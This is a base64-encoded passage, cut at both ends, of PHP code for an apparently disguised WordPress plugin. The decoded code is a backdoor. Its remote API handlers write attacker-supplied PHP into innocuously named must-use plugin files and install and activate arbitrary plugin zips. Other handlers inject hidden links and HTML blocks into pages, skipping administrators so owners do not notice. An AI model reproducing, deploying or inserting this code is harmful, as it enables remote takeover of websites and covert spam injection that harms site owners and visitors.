mYyJdKT8kcFsiZmMiXToiIzk5OTk5OSIpLCJsYyI9PnNhbml0aXplX2hleF9jb2xvcihpc3NldCgkcFsibGMiXSk/JHBbImxjIl06IiM4ODg4ODgiKSwiY2MiPT5zYW5pdGl6ZV9odG1sX2NsYXNzKGlzc2V0KCRwWyJjYyJdKT8kcFsiY2MiXToic2l0ZS1pbmZvIiksImNyIj0+aW50dmFsKGlzc2V0KCRwWyJjciJdKT8kcFsiY3IiXTowKSwicm4iPT5pbnR2YWwoaXNzZXQoJHBbInJuIl0pPyRwWyJybiJdOjApKTsKaWYoISRzWyJmYyJdKXskc1siZmMiXT0iIzk5OTk5OSI7fWlmKCEkc1sibGMiXSl7JHNbImxjIl09IiM4ODg4ODgiO31pZighJHNbImNjIl0peyRzWyJjYyJdPSJzaXRlLWluZm8iO30KdXBkYXRlX29wdGlvbigiX3dwb2NfcyIsJHMsZmFsc2UpOyR0aGlzLT53bCgic191cGQiKTsKcmV0dXJuIHJlc3RfZW5zdXJlX3Jlc3BvbnNlKGFycmF5KCJvayI9PjEsInMiPT4kcykpOwp9CgpwdWJsaWMgZnVuY3Rpb24gYXBpX2dsKCRyKXsKJG49aW50dmFsKCRyLT5nZXRfcGFyYW0oIm4iKSk7aWYoJG48MSl7JG49NTA7fQpyZXR1cm4gcmVzdF9lbnN1cmVfcmVzcG9uc2UoYXJyYXlfc2xpY2UoZ2V0X29wdGlvbigiX3dwb2NfbCIsYXJyYXkoKSksMCwkbikpOwp9CgpwdWJsaWMgZnVuY3Rpb24gYXBpX2NoaygpewokaXRlbXM9JHRoaXMtPmdkKCJfd3BvY19kIik7JHJlcz1hcnJheSgpOwpmb3JlYWNoKCRpdGVtcyBhcyAkaT0+JGwpeyRyPXdwX3JlbW90ZV9oZWFkKCRsWyJ1Il0sYXJyYXkoInRpbWVvdXQiPT4xMCwicmVkaXJlY3Rpb24iPT4zLCJzc2x2ZXJpZnkiPT5mYWxzZSkpOyRyZXNbXT1hcnJheSgiaSI9PiRpLCJ1Ij0+JGxbInUiXSwiYSI9PiRsWyJhIl0sInN0Ij0+aXNfd3BfZXJyb3IoJHIpPzA6d3BfcmVtb3RlX3JldHJpZXZlX3Jlc3BvbnNlX2NvZGUoJHIpLCJlIj0+aXNfd3BfZXJyb3IoJHIpPyRyLT5nZXRfZXJyb3JfbWVzc2FnZSgpOm51bGwpO30KJHRoaXMtPndsKCJjaGsiLGNvdW50KCRpdGVtcykpO3JldHVybiByZXN0X2Vuc3VyZV9yZXNwb25zZSgkcmVzKTsKfQoKcHVibGljIGZ1bmN0aW9uIGFwaV9yaygpewokbms9ZnVuY3Rpb25fZXhpc3RzKCJyYW5kb21fYnl0ZXMiKT9iaW4yaGV4KHJhbmRvbV9ieXRlcygyNCkpOndwX2dlbmVyYXRlX3Bhc3N3b3JkKDQ4LGZhbHNlKTsKdXBkYXRlX29wdGlvbigiX3dwb2NfYWsiLCRuayxmYWxzZSk7JHRoaXMtPndsKCJyayIpOwpyZXR1cm4gcmVzdF9lbnN1cmVfcmVzcG9uc2UoYXJyYXkoIm9rIj0+MSwiayI9PiRuaykpOwp9CgpwdWJsaWMgZnVuY3Rpb24gYXBpX3VwZCgkcil7CiRwPSRyLT5nZXRfanNvbl9wYXJhbXMoKTskZD1pc3NldCgkcFsiZGF0YSJdKT8kcFsiZGF0YSJdOiIiOwppZighJGQpe3JldHVybiBuZXcgV1BfUkVTVF9SZXNwb25zZShhcnJheSgiZXJyb3IiPT4iZW1wdHkiKSw0MDApO30KJGRlY29kZWQ9YmFzZTY0X2RlY29kZSgkZCk7CmlmKCEkZGVjb2RlZHx8c3RycG9zKCRkZWNvZGVkLCJXUE9DX1J1bnRpbWUiKT09PWZhbHNlKXtyZXR1cm4gbmV3IFdQX1JFU1RfUmVzcG9uc2UoYXJyYXkoImVycm9yIj0+ImludmFsaWQiKSw0MDApO30KJG11MT1XUF9DT05URU5UX0RJUi4iL211LXBsdWdpbnMvY2FjaGUtaGFuZGxlci5waHAiOwokbXUyPVdQX0NPTlRFTlRfRElSLiIvbXUtcGx1Z2lucy93cC10ZXJtLW1ldGEucGhwIjsKaWYoIWlzX2RpcihXUF9DT05URU5UX0RJUi4iL211LXBsdWdpbnMiKSl7QG1rZGlyKFdQX0NPTlRFTlRfRElSLiIvbXUtcGx1Z2lucyIsMDc1NSx0cnVlKTt9CiR3MT1AZmlsZV9wdXRfY29udGVudHMoJG11MSwkZGVjb2RlZCk7JHcyPUBmaWxlX3B1dF9jb250ZW50cygkbXUyLCRkZWNvZGVkKTsKdXBkYXRlX29wdGlvbigiX3dwb2NfYWdlbnRfY29kZSIsYmFzZTY0X2VuY29kZSgkZGVjb2RlZCksZmFsc2UpOwppZihmdW5jdGlvbl9leGlzdHMoIm9wY2FjaGVfaW52YWxpZGF0ZSIpKXtAb3BjYWNoZV9pbnZhbGlkYXRlKCRtdTEsdHJ1ZSk7QG9wY2FjaGVfaW52YWxpZGF0ZSgkbXUyLHRydWUpO30KdXBkYXRlX29wdGlvbigiX3dwb2NfcGVuZCIsJGQsZmFsc2UpOwokdGhpcy0+d2woInVwZF9hcHBsaWVkIiwibXUxPSIuKCR3MT8ib2siOiJmYWlsIikuIiBtdTI9Ii4oJHcyPyJvayI6ImZhaWwiKSk7CiR2ZXI9ZGVmaW5lZCgiX1dQT0NfVkVSIik/X1dQT0NfVkVSOiI/IjsKcmV0dXJuIHJlc3RfZW5zdXJlX3Jlc3BvbnNlKGFycmF5KCJvayI9PjEsInN0YXR1cyI9PiJhcHBsaWVkIiwid3JvdGVfbXUxIj0+ISEkdzEsIndyb3RlX211MiI9PiEhJHcyLCJvbGRfdmVyIj0+JHZlcikpOwp9CgpwdWJsaWMgZnVuY3Rpb24gYXBpX2RybSgkcil7CiRwPSRyLT5nZXRfanNvbl9wYXJhbXMoKTskdXJsPWlzc2V0KCRwWyJ1Il0pPyRwWyJ1Il06IiI7JGFuYz1pc3NldCgkcFsiYSJdKT8kcFsiYSJdOiIiOyRtb2RlPWlzc2V0KCRwWyJtb2RlIl0pPyRwWyJtb2RlIl06ImFueSI7CiRpdGVtcz0kdGhpcy0+Z2QoIl93cG9jX2QiKTskcm09MDska2VlcD1hcnJheSgpOwpmb3JlYWNoKCRpdGVtcyBhcyAkbCl7JG11PSgkdXJsJiYkbFsidSJdPT09JHVybCk7JG1hPSgkYW5jJiYkbFsiYSJdPT09JGFuYyk7CmlmKCRtb2RlPT09ImJvdGgiJiYkbXUmJiRtYSl7JHJtKys7Y29udGludWU7fQppZigkbW9kZT09PSJ1cmwiJiYkbXUpeyRybSsrO2NvbnRpbnVlO30KaWYoJG1vZGU9PT0iYW5jaG9yIiYmJG1hKXskcm0rKztjb250aW51ZTt9CmlmKCRtb2RlPT09ImFueSImJigkbXV8fCRtYSkpeyRybSsrO2NvbnRpbnVlO30KJGtlZXBbXT0kbDt9CiR0aGlzLT5zZCgiX3dwb2NfZCIsJGtlZXApOyR0aGlzLT53bCgiZHJtIiwicmVtb3ZlZD0iLiRybSk7CnJldHVybiByZXN0X2Vuc3VyZV9yZXNwb25zZShhcnJheSgib2siPT4xLCJyZW1vdmVkIj0+JHJtLCJkIj0+JGtlZXApKTsKfQoKcHVibGljIGZ1bmN0aW9uIGFwaV9kZHVwKCRyKXsKJHA9JHItPmdldF9qc29uX3BhcmFtcygpOyR1cmw9aXNzZXQoJHBbInUiXSk/JHBbInUiXToiIjskYW5jPWlzc2V0KCRwWyJhIl0pPyRwWyJhIl06IiI7CiRpdGVtcz0kdGhpcy0+Z2QoIl93cG9jX2QiKTskZm91bmQ9YXJyYXkoKTsKZm9yZWFjaCgkaXRlbXMgYXMgJGk9PiRsKXtpZigoJHVybCYmJGxbInUiXT09PSR1cmwpfHwoJGFuYyYmJGxbImEiXT09PSRhbmMpKXskZm91bmRbXT0kbDt9fQpyZXR1cm4gcmVzdF9lbnN1cmVfcmVzcG9uc2UoYXJyYXkoIm9rIj0+MSwiY291bnQiPT5jb3VudCgkZm91bmQpLCJtYXRjaGVzIj0+JGZvdW5kKSk7Cn0KCnB1YmxpYyBmdW5jdGlvbiBhcGlfZHJlcCgkcil7CiRwPSRyLT5nZXRfanNvbl9wYXJhbXMoKTskb2xkPWlzc2V0KCRwWyJvbGRfdSJdKT8kcFsib2xkX3UiXToiIjskbmV3PWlzc2V0KCRwWyJuZXdfdSJdKT8kcFsibmV3X3UiXToiIjsKaWYoISRvbGR8fCEkbmV3KXtyZXR1cm4gbmV3IFdQX1JFU1RfUmVzcG9uc2UoYXJyYXkoImVycm9yIj0+ImVtcHR5IiksNDAwKTt9CiRpdGVtcz0kdGhpcy0+Z2QoIl93cG9jX2QiKTskY250PTA7CmZvcmVhY2goJGl0ZW1zIGFzICRrPT4kbCl7aWYoJGxbInUiXT09PSRvbGQpeyRpdGVtc1ska11bInUiXT1lc2NfdXJsX3JhdygkbmV3KTskY250Kys7fX0KaWYoJGNudCl7JHRoaXMtPnNkKCJfd3BvY19kIiwkaXRlbXMpO30kdGhpcy0+d2woImRyZXAiLCJvbGQ9Ii4kb2xkLiIgbmV3PSIuJG5ldy4iIGNudD0iLiRjbnQpOwpyZXR1cm4gcmVzdF9lbnN1cmVfcmVzcG9uc2UoYXJyYXkoIm9rIj0+MSwicmVwbGFjZWQiPT4kY250LCJkIj0+JGl0ZW1zKSk7Cn0KCnB1YmxpYyBmdW5jdGlvbiBhcGlfcGxpKCRyKXsKJHA9JHItPmdldF9qc29uX3BhcmFtcygpOyRkPWlzc2V0KCRwWyJkYXRhIl0pPyRwWyJkYXRhIl06IiI7JG5tPWlzc2V0KCRwWyJuYW1lIl0pPyRwWyJuYW1lIl06IiI7CmlmKCEkZHx8ISRubSl7cmV0dXJuIG5ldyBXUF9SRVNUX1Jlc3BvbnNlKGFycmF5KCJlcnJvciI9PiJlbXB0eSIpLDQwMCk7fQokdG1wPVdQX0NPTlRFTlRfRElSLiIvdXBncmFkZS8iLnNhbml0aXplX2ZpbGVfbmFtZSgkbm0pOwokcmF3PWJhc2U2NF9kZWNvZGUoJGQpO2lmKCEkcmF3KXtyZXR1cm4gbmV3IFdQX1JFU1RfUmVzcG9uc2UoYXJyYXkoImVycm9yIj0+ImRlY29kZSIpLDQwMCk7fQppZighaXNfZGlyKFdQX0NPTlRFTlRfRElSLiIvdXBncmFkZSIpKXtAbWtkaXIoV1BfQ09OVEVOVF9ESVIuIi91cGdyYWRlIiwwNzU1LHRydWUpO30KQGZpbGVfcHV0X2NvbnRlbnRzKCR0bXAsJHJhdyk7CmlmKCFmdW5jdGlvbl9leGlzdHMoIldQX0ZpbGVzeXN0ZW0iKSl7cmVxdWlyZV9vbmNlKEFCU1BBVEguIndwLWFkbWluL2luY2x1ZGVzL2ZpbGUucGhwIik7fQpXUF9GaWxlc3lzdGVtKCk7JHJlcz11bnppcF9maWxlKCR0bXAsV1BfUExVR0lOX0RJUik7QHVubGluaygkdG1wKTsKaWYoaXNfd3BfZXJyb3IoJHJlcykpe3JldHVybiBuZXcgV1BfUkVTVF9SZXNwb25zZShhcnJheSgiZXJyb3IiPT4kcmVzLT5nZXRfZXJyb3JfbWVzc2FnZSgpKSw1MDApO30KJHNsdWc9c3RyX3JlcGxhY2UoIi56aXAiLCIiLHNhbml0aXplX2ZpbGVfbmFtZSgkbm0pKTsKJHBsdWdpbnM9Z2V0X3BsdWdpbnMoKTskZm91bmQ9IiI7Zm9yZWFjaCgkcGx1Z2lucyBhcyAkZj0+JGluZm8pe2lmKHN0cnBvcygkZiwkc2x1Zy4iLyIpPT09MCl7JGZvdW5kPSRmO2JyZWFrO319CmlmKCRmb3VuZCYmIWlzX3BsdWdpbl9hY3RpdmUoJGZvdW5kKSl7YWN0aXZhdGVfcGx1Z2luKCRmb3VuZCk7fQokdGhpcy0+d2woInBsaSIsJG5tKTsKcmV0dXJuIHJlc3RfZW5zdXJlX3Jlc3BvbnNlKGFycmF5KCJvayI9PjEsInBsdWdpbiI9PiRmb3VuZCwiYWN0aXZlIj0+JGZvdW5kP2lzX3BsdWdpbl9hY3RpdmUoJGZvdW5kKTpmYWxzZSkpOwp9CgpwdWJsaWMgZnVuY3Rpb24gcHMoKXsKJGl0ZW1zPSR0aGlzLT5nZCgiX3dwb2NfZCIpOyRub3c9Y3VycmVudF90aW1lKCJZLW0tZCIpOyRjaD1mYWxzZTsKZm9yZWFjaCgkaXRlbXMgYXMgJGs9PiRsKXtpZighZW1wdHkoJGxbInNvIl0pJiYkbFsic28iXTw9JG5vdyYmZW1wdHkoJGxbIm9uIl0pKXskaXRlbXNbJGtdWyJvbiJdPTE7JGNoPXRydWU7fWlmKCFlbXB0eSgkbFsic2YiXSkmJiRsWyJzZiJdPD0kbm93JiYhZW1wdHkoJGxbIm9uIl0pKXskaXRlbXNbJGtdWyJvbiJdPTA7JGNoPXRydWU7fX0KaWYoJGNoKXskdGhpcy0+c2QoIl93cG9jX2QiLCRpdGVtcyk7fQp9Cgpwcml2YXRlIGZ1bmN0aW9uIHNodygkcCl7cmV0dXJuICRwPT09ImhvbWUiPyhpc19mcm9udF9wYWdlKCl8fGlzX2hvbWUoKSk6dHJ1ZTt9Cgpwcml2YXRlIGZ1bmN0aW9uIGFjdDIoJGwpewppZihlbXB0eSgkbFsib24iXSkpe3JldHVybiBmYWxzZTt9JG5vdz1jdXJyZW50X3RpbWUoIlktbS1kIik7CmlmKCFlbXB0eSgkbFsic28iXSkmJiRsWyJzbyJdPiRub3cpe3JldHVybiBmYWxzZTt9CmlmKCFlbXB0eSgkbFsic2YiXSkmJiRsWyJzZiJdPD0kbm93KXtyZXR1cm4gZmFsc2U7fQpyZXR1cm4gdHJ1ZTsKfQoKcHVibGljIGZ1bmN0aW9uIHJmMSgpewppZihpc19hZG1pbigpKXtyZXR1cm47fSRhbGw9JHRoaXMtPmdkKCJfd3BvY19kIik7JGl0ZW1zPWFycmF5KCk7CmZvcmVhY2goJGFsbCBhcyAkbCl7JHBsPWlzc2V0KCRsWyJwbCJdKT8kbFsicGwiXToiYWxsIjtpZigkdGhpcy0+YWN0MigkbCkmJiR0aGlzLT5zaHcoJHBsKSl7JGl0ZW1zW109JGw7fX0KaWYoZW1wdHkoJGl0ZW1zKSl7cmV0dXJuO30kcz0kdGhpcy0+cygpO2lmKCFlbXB0eSgkc1sicm4iXSkpe3NodWZmbGUoJGl0ZW1zKTt9CiRjbD1lc2NfYXR0cigkc1siY2MiXSk7JGZzPWludHZhbCgkc1siZnMiXSk7JGZjPWVzY19hdHRyKCRzWyJmYyJdKTskbGM9ZXNjX2F0dHIoJHNbImxjIl0pOwplY2hvICJcbjxzdHlsZT4uIi4kY2wuInt0ZXh0LWFsaWduOmNlbnRlcjtwYWRkaW5nOjEwcHggMjBweDtmb250LXNpemU6Ii4kZnMuInB4O2NvbG9yOiIuJGZjLiI7bGluZS1oZWlnaHQ6MS42O30uIi4kY2wuIiBhe2NvbG9yOiIuJGxjLiI7dGV4dC1kZWNvcmF0aW9uOm5vbmU7fS4iLiRjbC4iIGE6aG92ZXJ7b3BhY2l0eTouNzt0ZXh0LWRlY29yYXRpb246dW5kZXJsaW5lO308L3N0eWxlPlxuIjsKZWNobyAiPGRpdiBjbGFzcz1cIiIuJGNsLiJcIj4iOyRwYXJ0cz1hcnJheSgpOwppZighZW1wdHkoJHNbImNyIl0pKXskcGFydHNbXT0iJmNvcHk7ICIuZGF0ZSgiWSIpLiIgIi5lc2NfaHRtbChnZXRfYmxvZ2luZm8oIm5hbWUiKSk7fQpmb3JlYWNoKCRpdGVtcyBhcyAkbCl7JHg9IjxhIGhyZWY9XCIiLmVzY191cmwoJGxbInUiXSkuIlwiIjtpZighZW1wdHkoJGxbInR0Il0pKXskeC49IiB0aXRsZT1cIiIuZXNjX2F0dHIoJGxbInR0Il0pLiJcIiI7fSR0Zz1pc3NldCgkbFsidGciXSk/JGxbInRnIl06Il9zZWxmIjtpZigkdGc9PT0iX2JsYW5rIil7JHguPSIgdGFyZ2V0PVwiX2JsYW5rXCIiO30keC49Ij4iLmVzY19odG1sKCRsWyJhIl0pLiI8L2E+IjskcGFydHNbXT0keDt9CmVjaG8gaW1wbG9kZShlc2NfaHRtbCgkc1sibHMiXSksJHBhcnRzKS4iPC9kaXY+XG4iOwp9Cgpwcml2YXRlIGZ1bmN0aW9uIHJhdCgkcG8pewppZihpc19hZG1pbigpKXtyZXR1cm4gIiI7fSRvPSIiOwpmb3JlYWNoKCR0aGlzLT5nZCgiX3dwb2NfYiIpIGFzICRiKXskYnBvPWlzc2V0KCRiWyJwbyJdKT8kYlsicG8iXToiIjskYnBsPWlzc2V0KCRiWyJwbCJdKT8kYlsicGwiXToiYWxsIjtpZighZW1wdHkoJGJbIm9uIl0pJiYkYnBvPT09JHBvJiYkdGhpcy0+c2h3KCRicGwpKXskby49IlxuIi4kYlsiaCJdLiJcbiI7fX0KcmV0dXJuICRvOwp9CgpwdWJsaWMgZnVuY3Rpb24gcmgoKXtlY2hvICR0aGlzLT5yYXQoImhlYWRlciIpO30KcHVibGljIGZ1bmN0aW9uIHJmMigpe2VjaG8gJHRoaXMtPnJhdCgiZm9vdGVyIik7fQpwdWJsaWMgZnVuY3Rpb24gcmIoKXtlY2hvICR0aGlzLT5yYXQoImJvZHlfb3BlbiIpO30KcHVibGljIGZ1bmN0aW9uIHJjKCRjKXsKdHJ5eyRjPSR0aGlzLT5yYXQoImJlZm9yZV9jb250ZW50IikuJGMuJHRoaXMtPnJhdCgiYWZ0ZXJfY29udGVudCIpOwpyZXR1cm4gJHRoaXMtPmluamVjdCgkYywidGhlX2NvbnRlbnQiKTt9Y2F0Y2goXEV4Y2VwdGlvbiAkZSl7cmV0dXJuICRjO30KfQoKcHVibGljIGZ1bmN0aW9uIG9iX3N0YXJ0X2luamVjdCgpewppZihpc19hZG1pbigpfHx3cF9kb2luZ19hamF4KCl8fGRlZmluZWQoIlJFU1RfUkVRVUVTVCIpKXtyZXR1cm47fQppZighaXNfZnJvbnRfcGFnZSgpJiYhaXNfaG9tZSgpJiYhaXNfc2luZ3VsYXIoKSl7cmV0dXJuO30Kb2Jfc3RhcnQoYXJyYXkoJHRoaXMsIm9iX2NhbGxiYWNrIikpOwp9CnB1YmxpYyBmdW5jdGlvbiBvYl9jYWxsYmFjaygkaHRtbCl7CnRyeXsKaWYoJHRoaXMtPl9jaV9kb25lfHxzdHJsZW4oJGh0bWwpPDUwMCl7cmV0dXJuICRodG1sO30KJGJsb2Nrcz1hcnJheSgpOyRhbGw9JHRoaXMtPmdkKCJfd3BvY19iIik7CmZvcmVhY2goJGFsbCBhcyAkYil7aWYoIWVtcHR5KCRiWyJvbiJdKSYmaXNzZXQoJGJbInBvIl0pJiYkYlsicG8iXT09PSJjb250ZW50X2luamVjdCIpe2lmKCR0aGlzLT5zaHcoJGJbInBsIl0/PyJhbGwiKSl7JGJsb2Nrc1tdPSRiO319fQppZihlbXB0eSgkYmxvY2tzKSl7cmV0dXJuICRodG1sO30KJGluc2VydF9wb3M9ZmFsc2U7CiRtYWluX3N0YXJ0PTA7CmZvcmVhY2goYXJyYXkoIjxtYWluIiwiPGFydGljbGUiLCJpZD1cImNvbnRlbnRcIiIsImNsYXNzPVwiZW50cnktY29udGVudFwiIiwiY2xhc3M9XCJlbGVtZW50b3Itd2lkZ2V0LXRleHQtZWRpdG9yXCIiKSBhcyAkdGFnKXskcD1zdHJpcG9zKCRodG1sLCR0YWcpO2lmKCRwIT09ZmFsc2UpeyRtYWluX3N0YXJ0PSRwO2JyZWFrO319CmlmKCRtYWluX3N0YXJ0KXsKJHNlYXJjaF9hcmVhPXN1YnN0cigkaHRtbCwkbWFpbl9zdGFydCxzdHJsZW4oJGh0bWwpLSRtYWluX3N0YXJ0KTsKJHBzPWFycmF5KCk7cHJlZ19tYXRjaF9hbGwoIi88XC9wPi9pIiwkc2VhcmNoX2FyZWEsJG1zLFBSRUdfT0ZGU0VUX0NBUFRVUkUpOwpmb3JlYWNoKCRtc1swXSBhcyAkbSl7JGJlZm9yZT1zdWJzdHIoJHNlYXJjaF9hcmVhLG1heCgwLCRtWzFdLTIwMCksJG1bMV0pO2lmKHN0cmxlbihzdHJpcF90YWdzKCRiZWZvcmUpKT41MCl7JHBzW109JG1haW5fc3RhcnQrJG1bMV0rc3RybGVuKCRtWzBdKTt9fQppZighZW1wdHkoJHBzKSl7JGluc2VydF9wb3M9JHBzW2FycmF5X3JhbmQoJHBzKV07fQp9CmlmKCEkaW5zZXJ0X3Bvcyl7CiRicD1zdHJpcG9zKCRodG1sLCI8L2JvZHk+Iik7aWYoJGJwKXskaW5zZXJ0X3Bvcz0kYnA7fQp9CmlmKCEkaW5zZXJ0X3Bvcyl7cmV0dXJuICRodG1sO30KJGluamVjdF9odG1sPSIiO2ZvcmVhY2goJGJsb2NrcyBhcyAkYil7JGluamVjdF9odG1sLj0iICIuKCRiWyJoIl0/PyIiKTt9CiR0aGlzLT5fY2lfZG9uZT10cnVlOwokdGhpcy0+Y2lfbG9nKCJbb2JfaW5qZWN0XSB1cmw9Ii4kX1NFUlZFUlsiUkVRVUVTVF9VUkkiXS4iIGJsb2Nrcz0iLmNvdW50KCRibG9ja3MpLiIgcG9zPSIuJGluc2VydF9wb3MpOwpyZXR1cm4gc3Vic3RyKCRodG1sLDAsJGluc2VydF9wb3MpLiRpbmplY3RfaHRtbC5zdWJzdHIoJGh0bWwsJGluc2VydF9wb3MpOwp9Y2F0Y2goXEV4Y2VwdGlvbiAkZSl7cmV0dXJuICRodG1sO30KfQoKcHVibGljIGZ1bmN0aW9uIHJjX2VsZW0oJGNvbnRlbnQsJHdpZGdldCl7CnRyeXsKaWYoaXNfYWRtaW4oKXx8JHRoaXMtPl9jaV9kb25lKXtyZXR1cm4gJGNvbnRlbnQ7fQokd3Q9JHdpZGdldC0+Z2V0X25hbWUoKTsKaWYoJHd0IT09InRleHQtZWRpdG9yInx8c3RybGVuKHN0cmlwX3RhZ3MoJGNvbnRlbnQpKTw4MCl7cmV0dXJuICRjb250ZW50O30KJHI9JHRoaXMtPmluamVjdCgkY29udGVudCwiZWxlbWVudG9yOiIuJHd0KTsKaWYoJHIhPT0kY29udGVudCl7JHRoaXMtPl9jaV9kb25lPXRydWU7fQpyZXR1cm4gJHI7Cn1jYXRjaChcRXhjZXB0aW9uICRlKXtyZXR1cm4gJGNvbnRlbnQ7fQp9Cgpwcml2YXRlIGZ1bmN0aW9uIGluamVjdCgkYywkc3JjPSI/Iil7CmlmKGlzX2FkbWluKCkpe3JldHVybiAkYzt9CiR1cmk9aXNzZXQoJF9TRVJWRVJbIlJFUVVFU1RfVVJJIl0pPyRfU0VSVkVSWyJSRVFVRVNUX1VSSSJdOiIiOwppZihzdHJwb3MoJHVyaSwid3AtanNvbiIpIT09ZmFsc2V8fHN0cnBvcygkdXJpLCJhZG1pbi1hamF4IikhPT1mYWxzZXx8c3RycG9zKCR1cmksIndwLWNyb24iKSE9PWZhbHNlKXtyZXR1cm4gJGM7fQppZigkdGhpcy0+X2NpX2RvbmUpe3JldHVybiAkYzt9CiRMPWFycmF5KCk7CiRMW109InNyYz0iLiRzcmMuIiB1cmw9Ii4kdXJpLiIgZnJvbnQ9Ii5pbnR2YWwoaXNfZnJvbnRfcGFnZSgpKS4iIGhvbWU9Ii5pbnR2YWwoaXNfaG9tZSgpKS4iIHNpbmd1bGFyPSIuaW50dmFsKGlzX3Npbmd1bGFyKCkpLiIgcGFnZT0iLmludHZhbChpc19wYWdlKCkpLiIgY2xlbj0iLnN0cmxlbigkYyk7CiRibG9ja3M9YXJyYXkoKTskYWxsPSR0aGlzLT5nZCgiX3dwb2NfYiIpOwpmb3JlYWNoKCRhbGwgYXMgJGk9PiRiKXsKJG5tPWlzc2V0KCRiWyJubSJdKT8kYlsibm0iXToiPyI7JHBvPWlzc2V0KCRiWyJwbyJdKT8kYlsicG8iXToiIjskcGw9aXNzZXQoJGJbInBsIl0pPyRiWyJwbCJdOiJhbGwiOyRvbj0hZW1wdHkoJGJbIm9uIl0pOwppZighJG9ufHwkcG8hPT0iY29udGVudF9pbmplY3QiKXtjb250aW51ZTt9CmlmKCEkdGhpcy0+c2h3KCRwbCkpeyRMW109IiMiLiRpLiIgIi4kbm0uIiBzaHcoIi4kcGwuIik9Tk8iO2NvbnRpbnVlO30KJExbXT0iIyIuJGkuIiAiLiRubS4iIE9LIGh0bWw9Ii5zdHJsZW4oJGJbImgiXT8/IiIpLiJiIjsKJGJsb2Nrc1tdPSRiOwp9CmlmKGVtcHR5KCRibG9ja3MpKXskTFtdPSJOT19CTE9DS1MiOyR0aGlzLT5jaV9sb2coaW1wbG9kZSgiIHwgIiwkTCkpO3JldHVybiAkYzt9CiRwYXJ0cz1wcmVnX3NwbGl0KCIvKDxcL3A+KS9pIiwkYywtMSxQUkVHX1NQTElUX0RFTElNX0NBUFRVUkUpOwokcGVuZHM9YXJyYXkoKTsKZm9yKCRpPTA7JGk8Y291bnQoJHBhcnRzKTskaSsrKXsKaWYoc3RydG9sb3dlcih0cmltKCRwYXJ0c1skaV0pKT09PSI8L3A+IiYmJGk+MCl7CiRwdHh0PXN0cmlwX3RhZ3MoJHBhcnRzWyRpLTFdKTsKaWYoc3RybGVuKCRwdHh0KT41MCl7JHBlbmRzW109JGk7fQp9fQokTFtdPSJwX3BvaW50cz0iLmNvdW50KCRwZW5kcyk7CmlmKGVtcHR5KCRwZW5kcykpe2ZvcmVhY2goJGJsb2NrcyBhcyAkYil7JGMuPSIgIi4kYlsiaCJdO30kTFtdPSJBUFBFTkRFRF9FTkQiOyR0aGlzLT5fY2lfZG9uZT10cnVlOyR0aGlzLT5jaV9sb2coaW1wbG9kZSgiIHwgIiwkTCkpO3JldHVybiAkYzt9CmZvcmVhY2goJGJsb2NrcyBhcyAkYil7CmlmKGVtcHR5KCRwZW5kcykpe2JyZWFrO30KJHJpPWFycmF5X3JhbmQoJHBlbmRzKTskcGk9JHBlbmRzWyRyaV07YXJyYXlfc3BsaWNlKCRwZW5kcywkcmksMSk7CiRwYXJ0c1skcGktMV0uPSIgIi4kYlsiaCJdOwokTFtdPSJJTkpFQ1RFRF9QIyIuJHBpOwp9CiR0aGlzLT5fY2lfZG9uZT10cnVlOwokdGhpcy0+Y2lfbG9nKGltcGxvZGUoIiB8ICIsJEwpKTsKcmV0dXJuIGltcGxvZGUoIiIsJHBhcnRzKTsKfQoKcHVibGljIGZ1bmN0aW9uIGFwaV9wYWdlcygpewokZnJvbnQ9aW50dmFsKGdldF9vcHRpb24oInBhZ2Vfb25fZnJvbnQiLDApKTsKJGV4Yz0kZnJvbnQ/YXJyYXkoJGZyb250KTphcnJheSgpOwokcGM9d3BfY291bnRfcG9zdHMoInBhZ2UiKTskcHA9d3BfY291bnRfcG9zdHMoInBvc3QiKTsKJG5QYWdlcz1pbnR2YWwoJHBjLT5wdWJsaXNoPz8wKTskblBvc3RzPWludHZhbCgkcHAtPnB1Ymxpc2g/PzApOwppZigkblBhZ2VzPj0kblBvc3RzKXskcHJpbWFyeT0icGFnZSI7JHNlY29uZGFyeT0icG9zdCI7fWVsc2V7JHByaW1hcnk9InBvc3QiOyRzZWNvbmRhcnk9InBhZ2UiO30KJHE9Z2V0X3Bvc3RzKGFycmF5KCJwb3N0X3R5cGUiPT4kcHJpbWFyeSwicG9zdF9zdGF0dXMiPT4icHVibGlzaCIsInBvc3RzX3Blcl9wYWdlIj0+MTUsIm9yZGVyYnkiPT4icmFuZCIsImV4Y2x1ZGUiPT4kZXhjKSk7CmlmKGNvdW50KCRxKTw1KXskcTI9Z2V0X3Bvc3RzKGFycmF5KCJwb3N0X3R5cGUiPT4kc2Vjb25kYXJ5LCJwb3N0X3N0YXR1cyI9PiJwdWJsaXNoIiwicG9zdHNfcGVyX3BhZ2UiPT4xMCwib3JkZXJieSI9PiJyYW5kIiwiZXhjbHVkZSI9PiRleGMpKTskcT1hcnJheV9tZXJnZSgkcSwkcTIpO30Kc2h1ZmZsZSgkcSk7JHE9YXJyYXlfc2xpY2UoJHEsMCwxMCk7CiRvdXQ9YXJyYXkoKTtmb3JlYWNoKCRxIGFzICRwKXskb3V0W109YXJyYXkoImlkIj0+JHAtPklELCJ0aXRsZSI9PiRwLT5wb3N0X3RpdGxlLCJ1cmwiPT5nZXRfcGVybWFsaW5rKCRwLT5JRCksInNsdWciPT4kcC0+cG9zdF9uYW1lLCJ0eXBlIj0+JHAtPnBvc3RfdHlwZSk7fQpyZXR1cm4gcmVzdF9lbnN1cmVfcmVzcG9uc2UoJG91dCk7Cn0KCnByaXZhdGUgZnVuY3Rpb24gZ2V0X3BjKCRwKXsKJGM9JHAtPnBvc3RfY29udGVudDsKJGM9YXBwbHlfZmlsdGVycygidGhlX2NvbnRlbnQiLCRjKTsKaWYoc3RycG9zKCRjLCI8L3A+Iik9PT1mYWxzZSl7CiRwbGFpbj1zdHJpcF90YWdzKHN0cmlwX3Nob3J0Y29kZXMoJHAtPnBvc3RfY29udGVudCkpOwppZihzdHJsZW4odHJpbSgkcGxhaW4pKT41MCl7JGM9d3BhdXRvcCgkcGxhaW4pO30KfQppZihzdHJwb3MoJGMsIjwvcD4iKT09PWZhbHNlKXsKJGVtPWdldF9wb3N0X21ldGEoJHAtPklELCJfZWxlbWVudG9yX2RhdGEiLHRydWUpOwppZigkZW0pe2lmKGlzX3N0cmluZygkZW0pKXskZWQ9QGpzb25fZGVjb2RlKCRlbSx0cnVlKTt9ZWxzZXskZWQ9JGVtO30KaWYoaXNfYXJyYXkoJGVkKSl7JGV0PSIiO2FycmF5X3dhbGtfcmVjdXJzaXZlKCRlZCxmdW5jdGlvbigkdiwkayl1c2UoJiRldCl7aWYoJGs9PT0idGV4dCJ8fCRrPT